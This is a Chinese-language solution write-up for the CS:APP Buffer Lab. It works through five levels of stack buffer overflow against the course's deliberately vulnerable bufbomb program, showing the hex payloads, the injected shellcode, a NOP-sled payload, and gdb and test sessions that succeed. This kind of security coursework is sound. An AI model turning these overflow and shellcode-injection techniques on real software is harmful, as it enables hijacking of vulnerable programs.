CS:APP Lab 3 解題報告

Lab 3,即為 Buffer Lab,在這個 Lab 裡面,我們需要通過構造字元串來改變程序的運行行為,最終解決全部問題,


1.實驗大致流程

在實驗中以 "./bufbomb -u <用戶id>"指令運行程序,之後 bufbomb 會要求你輸入一個字元串,我們需要寫出十六進位機器碼,之後通過"./hex2raw < <輸入文件> > <輸出文件>"將之輸出為對應的字元串,最後,使用輸入重定向將之定向到 bufbomb 程序中,以此解決問題。

2.前期準備

同 Lab 2,我們首先需要對 bufbomb 進行反彙編操作,指令如下:

objdump -d ./bufbomb > bufbomb.Sn

筆者的環境為 Ubuntu 17.10。

3.Level 0: Candle

本關中,我們的任務就是在使test()函數中調用的getbuf()函數返回時候不返回到test()函數,而是轉而執行smoke()函數。test()函數的代碼如下:

1 void test()n2 {n3 int val;n4 /* Put canary on stack to detect possible corruption */n5 volatile int local = uniqueval();n6n7 val = getbuf();n8n9 /* Check for corrupted stack */n10 if (local != uniqueval()) {n11 printf("Sabotaged!: the stack has been corruptedn");n12 }n13 else if (val == cookie) {n14 printf("Boom!: getbuf returned 0x%xn", val);n15 validate(3);n16 } else {n17 printf("Dud: getbuf returned 0x%xn", val);n18 }n19 }n

我們要做的就是在第 7 行執行時直接改變getbuf()的返回地址。要想達成這個任務,我們先看getbuf()函數的反彙編:

0804913f <getbuf>:n 804913f:t55 tpush %ebpn 8049140:t89 e5 tmov %esp,%ebpn 8049142:t83 ec 34 tsub $0x34,%espn 8049145:t8d 45 d8 tlea -0x28(%ebp),%eaxn 8049148:t50 tpush %eaxn 8049149:te8 4c fb ff ff tcall 8048c9a <Gets>n 804914e:tb8 01 00 00 00 tmov $0x1,%eaxn 8049153:tc9 tleave n 8049154:tc3 tret n

我們可以知道,getbuf()的棧幀大小為0x34,gets()的緩衝區大小為0x28,不難推出此函數的返回地址在($ebp + 0x4)上,因此我們需要輸入44位元組的字元,之後輸入我們需要的返回地址,在反彙編文本中,我們不難看到smoke()的地址為08048bd2。至此,我們可以構造答案(注意數據的表示法):

00 00 00 00 00 00 00 00 00 00n00 00 00 00 00 00 00 00 00 00n00 00 00 00 00 00 00 00 00 00n00 00 00 00 00 00 00 00 00 00n00 00 00 00 d2 8b 04 08n

進行測試:

name1e5s@ubuntu:~/buflab-handout$ ./hex2raw <smoke.txt | ./bufbomb -u xxxxxxxxxxnUserid: xxxxxxxxxxxnCookie: 0xxxxxxxxxnType string:Smoke!: You called smoke()nVALIDnNICE JOB!n

答案正確!

4.Level 1: Sparkler

我們的目標和 Level 0類似,不過這次我們需要調用的是fizz()函數,在實驗手冊里,我們知道fizz()的代碼為:

void fizz(int val)n{nif (val == cookie) {nprintf("Fizz!: You called fizz(0x%x)n", val);nvalidate(1);n} elsenprintf("Misfire: You called fizz(0x%x)n", val);nexit(0);n}n

我們不只要把調用函數,還要把我們的cookie作為參數傳進去。有了上一題的經驗,我們知道只需要多寫 8 個位元組,後四個位元組為 cookie (注意表示法)即可成功調用這個函數,因此答案如下:

00 00 00 00 00 00 00 00 00 00n00 00 00 00 00 00 00 00 00 00n00 00 00 00 00 00 00 00 00 00n00 00 00 00 00 00 00 00 00 00n00 00 00 00 fa 8b 04 08 00 00n00 00 61 41 63 24n

進行測試:

name1e5s@ubuntu:~/buflab-handout$ ./hex2raw <fizz.txt | ./bufbomb -u xxxxxxxxxxnUserid: xxxxxxxxxxnCookie: 0xxxxxxxxxnType string:Fizz!: You called fizz(0x24634161)nVALIDnNICE JOB!n

完美!

5.Level 2: Firecracker

目標和之前兩個類似,不過這次需要篡改的是全局變數。

直接看bang()函數的代碼:

int global_value = 0;nvoid bang(int val)n{nif (global_value == cookie) {nprintf("Bang!: You set global_value to 0x%xn", global_value);nvalidate(2);n} elsenprintf("Misfire: global_value = 0x%xn", global_value);nexit(0);n}n

看來,我們需要篡改全局變數 global_value 的值為我們的 cookie 才可以。

要想篡改全局變數,直接使用之前的技巧是不可能實現的,因此我們需要新的方法。即在字元串中寫入我們自己的代碼,然後篡改getbuf()的返回值到我們自己寫的代碼,即可完成目標。

思路有了,就可以開始動手啦~

首先,找出我們的字元串存儲的地址。看getbuf()的反彙編碼:

0804913f <getbuf>:n 804913f:t55 tpush %ebpn 8049140:t89 e5 tmov %esp,%ebpn 8049142:t83 ec 34 tsub $0x34,%espn 8049145:t8d 45 d8 tlea -0x28(%ebp),%eaxn 8049148:t50 tpush %eaxn 8049149:te8 4c fb ff ff tcall 8048c9a <Gets>n 804914e:tb8 01 00 00 00 tmov $0x1,%eaxn 8049153:tc9 tleave n 8049154:tc3 tret n

噢呦,在 0x8049145 那裡,字元串的地址直接出現在 eax 寄存器中了,我們在那裡設斷點,即可得到我們字元串存儲的地址。操作如下:

(gdb) b *0x8049148nBreakpoint 1 at 0x8049148n(gdb) r -u 2017302376nStarting program: /home/name1e5s/buflab-handout/bufbomb -u 2017302376nUserid: 2017302376nCookie: 0x24634161nnBreakpoint 1, 0x08049148 in getbuf ()n(gdb) i rneax 0x556834c8t1432892616necx 0x6308ec46t1661529158nedx 0x0t0nebx 0x0t0nesp 0x556834bct0x556834bc <_reserved+1037500>nebp 0x556834f0t0x556834f0 <_reserved+1037552>nesi 0x55686580t1432905088nedi 0x1t1neip 0x8049148t0x8049148 <getbuf+9>neflags 0x212t[ AF IF ]ncs 0x23t35nss 0x2bt43nds 0x2bt43nes 0x2bt43nfs 0x0t0ngs 0x63t99n

現在得出字元串的存儲位置為 0x556834c8 。

之後使用nm指令獲取global_value的存儲位置:

name1e5s@ubuntu:~/buflab-handout$ nm -A bufbomb | grep global_valuenbufbomb:0804d138 B global_valuen

得知存儲位置為 0x0804d138。有了這些內容,我們就可以開寫彙編了,代碼如下:

mov $0x24634161,%eax ;將id複製給 eax 寄存器nmov %eax,0x804d138 ;將 eax 的值複製給 global_valuenpush $0x08048c49 ;將 bang()函數的地址壓入棧nret ;返回,並跳轉到bang()函數n

之後進行編譯,反彙編:

name1e5s@ubuntu:~/buflab-handout$ gcc -m32 -c fxxkbang.S nname1e5s@ubuntu:~/buflab-handout$ objdump -d fxxkbang.onnfxxkbang.o: file format elf32-i386nnnDisassembly of section .text:nn00000000 <.text>:n 0:tb8 61 41 63 24 tmov $0x24634161,%eaxn 5:ta3 38 d1 04 08 tmov %eax,0x804d138n a:t68 49 8c 04 08 tpush $0x8048c49n f:tc3 tret n

這樣我們就拿到了機器碼,將之寫入字元串,並使用前兩個 Level 中的技巧跳轉到字元串的首地址,答案如下:

b8 61 41 63 24 a3 38 d1 04 08n68 49 8c 04 08 c3 00 00 00 00n00 00 00 00 00 00 00 00 00 00n00 00 00 00 00 00 00 00 00 00n00 00 00 00 c8 34 68 55n

進行測試:

name1e5s@ubuntu:~/buflab-handout$ ./hex2raw <bang.txt | ./bufbomb -u xxxxxxxxxxnUserid: xxxxxxxxxxnCookie: 0xxxxxxxxxnType string:Bang!: You set global_value to 0x24634161nVALIDnNICE JOB!n

Bravo !至此,前三關已經完美完成。

6.Level 3: Dynamite

本關我們的目標是把我們的 cookie 作為 test()的返回值,同時還得恢復各個寄存器的值,使得test()函數不知道我們已經悄悄修改了返回值。

要想恢復現場,首先我們得知道我們搞溢出攻擊時修改了哪些寄存器。先讓當我們從 -0x28(%ebp) 一路壓到 0x4(%ebp),自然%ebp被覆蓋了,因此我們需要恢復 %ebp 的值。要想恢復 %ebp 的值,我們得先知道在那段時間裡,%ebp 應該是什麼值,現在先使用 gdb 查看我們需要恢復的值:

(gdb) b *0x8048d64#此處為test函數里調用getbuf()函數之後的一條指令的地址nBreakpoint 1 at 0x8048d64n(gdb) r -u 2017302376nStarting program: /home/name1e5s/buflab-handout/bufbomb -u xxxxxxxxxxnUserid: xxxxxxxxxxnCookie: 0xxxxxxxxxnType string:Fuck younnBreakpoint 1, 0x08048d64 in test ()n(gdb) i rneax 0x1t1necx 0x37t55nedx 0xat10nebx 0x0t0nesp 0x556834f8t0x556834f8 <_reserved+1037560>nebp 0x55683510t0x55683510 <_reserved+1037584>nesi 0x55686580t1432905088nedi 0x1t1neip 0x8048d64t0x8048d64 <test+20>neflags 0x246t[ PF ZF IF ]ncs 0x23t35nss 0x2bt43nds 0x2bt43nes 0x2bt43nfs 0x0t0ngs 0x63t99n

可以看到本來的數值應該為0x55683510,現在使用上一關的套路,開始寫代碼:

mov $0x24634161,%eax ;把我們的 cookie 設為返回值nmov $0x55683510,%ebp ;恢復寄存器的值npush $0x8048d64 ;恢復執行test()函數nret ;結束運行n

經過編譯反彙編,修飾後,得到答案:

b8 61 41 63 24 bd 10 35 68 55n68 64 8d 04 08 c3 00 00 00 00n00 00 00 00 00 00 00 00 00 00n00 00 00 00 00 00 00 00 00 00n00 00 00 00 c8 34 68 55n

進行測試:

name1e5s@ubuntu:~/buflab-handout$ ./hex2raw <test.txt | ./bufbomb -u xxxxxxxxxxnUserid: xxxxxxxxxxnCookie: 0xxxxxxxxxnType string:Boom!: getbuf returned 0x24634161nVALIDnNICE JOB!n

好,答案正確~

7.Level 4: Nitroglycerin

終於來到最後一關,本關在執行過程中需要加 "-n"參數,程序的運行也不再調用 test 函數而是轉而調用函數。本關我們的目標是返回調用 5 次 testn 時 getn 返回五次我們的 cookie 給 testn。聽上去和上一關的任務類似,但是這次因為每次調用的棧地址都不一樣,我們無法直接使用 gdb 求出每次返回的地址,只能通過分析代碼來求地址。

先看 testn() 函數的開頭:

08048dc5 <testn>:n 8048dc5:t55 tpush %ebpn 8048dc6:t89 e5 tmov %esp,%ebpn 8048dc8:t53 tpush %ebxn 8048dc9:t83 ec 14 tsub $0x14,%espn 8048dcc:te8 64 ff ff ff tcall 8048d35 <uniqueval>n 8048dd1:t89 45 f4 tmov %eax,-0xc(%ebp)n 8048dd4:te8 7c 03 00 00 tcall 8049155 <getbufn>n

可以知道 %ebp = %esp + 0x18,現在可以寫代碼啦:

mov $0x24634161,%eax ;將cookie寫入返回值nlea 0x18(%esp),%ebp ;恢復作案現場npush $0x8048dd9 ;返回到testn的下一條指令nretn

之後進行編譯反彙編操作,拿到機器碼:

name1e5s@ubuntu:~/buflab-handout$ gcc -m32 -c fxxktestn.S nname1e5s@ubuntu:~/buflab-handout$ objdump -d fxxktestn.onnfucktestn.o: file format elf32-i386nnnDisassembly of section .text:nn00000000 <.text>:n 0:tb8 61 41 63 24 tmov $0x24634161,%eaxn 5:t8d 6c 24 18 tlea 0x18(%esp),%ebpn 9:t68 d9 8d 04 08 tpush $0x8048dd9n e:tc3 tret n

現在我們需要確定的就是返回地址,因為返回地址是動態的,我們難以正確的找出每次的返回值,這裡我們引入經典的 NOP slide 方法來處理這個問題。在填充nop指令之前,我們還需要知道具體需要填充多少位元組字元。由 getbufn() 中的

804915e:t8d 85 f8 fd ff ff tlea -0x208(%ebp),%eaxn

我們知道我們需要填充的位元組數為 0x208 + 0x4 = 524 個,下一步就是確定返回位置,並將其寫在那 524 個字元之後。返回位置應該大於字元串的首地址,打開gdb 查看讀入字元串的首地址。共5次操作,因此我們也讀 5 次:

(gdb) b *0x804915enBreakpoint 1 at 0x804915en(gdb) r -n -u 2017302376nStarting program: /home/name1e5s/buflab-handout/bufbomb -n -u 2017302376nUserid: 2017302376nCookie: 0x24634161nnBreakpoint 1, 0x0804915e in getbufn ()n(gdb) i rneax 0x78d28c5ft2027064415necx 0x78d28c5ft2027064415nedx 0x0t0nebx 0x1t1nesp 0x556832dct0x556832dc <_reserved+1037020>nebp 0x556834f0t0x556834f0 <_reserved+1037552>nesi 0x55686580t1432905088nedi 0x5t5neip 0x804915et0x804915e <getbufn+9>neflags 0x212t[ AF IF ]ncs 0x23t35nss 0x2bt43nds 0x2bt43nes 0x2bt43nfs 0x0t0ngs 0x63t99n(gdb) p /x 0x556834f0 - 0x208n$1 = 0x556832e8n(gdb) p /x $ebp - 0x208n$2 = 0x556832e8n(gdb) cnContinuing.nType string:FnDud: getbufn returned 0x1nBetter luck next timennBreakpoint 1, 0x0804915e in getbufn ()n(gdb) pn$3 = (void *) 0x556832e8 <_reserved+1037032>n(gdb) p /x $ebp - 0x208n$4 = 0x556832d8n(gdb) cnContinuing.nType string:415nDud: getbufn returned 0x1nBetter luck next timennBreakpoint 1, 0x0804915e in getbufn ()n(gdb) p /x $ebp - 0x208n$5 = 0x55683268n(gdb) cnContinuing.nType string:5nDud: getbufn returned 0x1nBetter luck next timennBreakpoint 1, 0x0804915e in getbufn ()n(gdb) p /x $ebp - 0x208n$6 = 0x55683348n(gdb) cnContinuing.nType string:enDud: getbufn returned 0x1nBetter luck next timennBreakpoint 1, 0x0804915e in getbufn ()n(gdb) p /x $ebp - 0x208n$7 = 0x55683298n(gdb) cnContinuing.nType string:eenDud: getbufn returned 0x1nBetter luck next timen[Inferior 1 (process 1935) exited normally]n

穩妥起見,我們選擇最高的數字作為返回值,因此我們構造的答案如下:

90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90nn90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90nn90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90nn90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90nn90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90nn90 90 90 90 90 90 90 90 90 b8n61 41 63 24 8d 6c 24 18 68 d9n8d 04 08 c3 48 33 68 55n

因為我們共需要輸入5次字元串,因此我們將此答案複製 5 次,每次的末尾都加上"n",也就是 0a,來實現換行功能,因此,最終的答案如下:

90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90nn90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90nn90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90nn90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90nn90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90nn90 90 90 90 90 90 90 90 90 b8n61 41 63 24 8d 6c 24 18 68 d9n8d 04 08 c3 48 33 68 55n0an90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90nn90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90nn90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90nn90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90nn90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90nn90 90 90 90 90 90 90 90 90 b8n61 41 63 24 8d 6c 24 18 68 d9n8d 04 08 c3 48 33 68 55n0an90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90nn90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90nn90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90nn90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90nn90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90nn90 90 90 90 90 90 90 90 90 b8n61 41 63 24 8d 6c 24 18 68 d9n8d 04 08 c3 48 33 68 55n0an90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90nn90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90nn90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90nn90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90nn90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90nn90 90 90 90 90 90 90 90 90 b8n61 41 63 24 8d 6c 24 18 68 d9n8d 04 08 c3 48 33 68 55n0an90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90nn90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90nn90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90nn90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90nn90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90n90 90 90 90 90 90 90 90 90 90nn90 90 90 90 90 90 90 90 90 b8n61 41 63 24 8d 6c 24 18 68 d9n8d 04 08 c3 48 33 68 55n

進行測試:

name1e5s@ubuntu:~/buflab-handout$ ./hex2raw <testn | ./bufbomb -n -u xxxxxxxxxxnUserid: xxxxxxxxxxnCookie: 0xxxxxxxxxnType string:KABOOM!: getbufn returned 0x24634161nKeep goingnType string:KABOOM!: getbufn returned 0x24634161nKeep goingnType string:KABOOM!: getbufn returned 0x24634161nKeep goingnType string:KABOOM!: getbufn returned 0x24634161nKeep goingnType string:KABOOM!: getbufn returned 0x24634161nVALIDnNICE JOB!n

對啦~

到此為止,此實驗算是結束。


與上一個實驗相比,本實驗更側重對於寫彙編碼解決問題的練習,有了上一個實驗的鋪墊,處理本實驗的問題也不算太難。解決這類實驗收穫的不只是技能,還能收穫一份成就感。


推薦閱讀:

CS:APP配套實驗3:Attack Lab筆記
如何評價北京大學2016-2017年計算機系統導論(ICS)期末考試?
彙編過程調用是怎樣操作棧的?
請問popl %esp這個語句有什麼用處?
《深入理解計算機系統》配套實驗:Bomblab

TAG:CSAPP | 深入理解计算机系统书籍 |